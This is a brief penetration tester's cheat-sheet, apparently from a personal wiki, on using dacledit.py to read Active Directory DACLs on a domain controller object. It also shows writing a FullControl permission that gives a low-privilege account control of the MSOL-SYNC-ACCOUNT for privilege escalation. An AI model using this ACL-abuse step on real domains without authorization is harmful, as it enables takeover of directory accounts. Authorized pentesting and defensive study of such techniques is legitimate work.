# dacledit.py

This helps read/write DACLs!

# Read DACL permissions that a specific principal has on a machine

dacledit.py -action 'read' -principal lowpriv -target 'DC-01$' 'domain.com'/'user':'SecurePa$$!' -debug > dc-01.txt  

# Read DACL permissions (general)

See what DACLs are applied to an object:

dacledit.py -action 'read' -target 'DC-01$' 'domain.com'/'user':'SecurePa$$!' -debug > dc-01.txt

# Write DACL changes to privesc

This came in real handy in this tale of pentest pwnage where I had full write access to the MSOL-SYNC-ACCOUNT. I used dacledit.py to grant my LOWPRIV account full access to the MSOL-SYNC-ACCOUNT like so:

dacledit.py -action 'write' -rights 'FullControl' -principal lowpriv -target MSOL-SYNC-ACCOUNT -dc-ip 1.2.3.4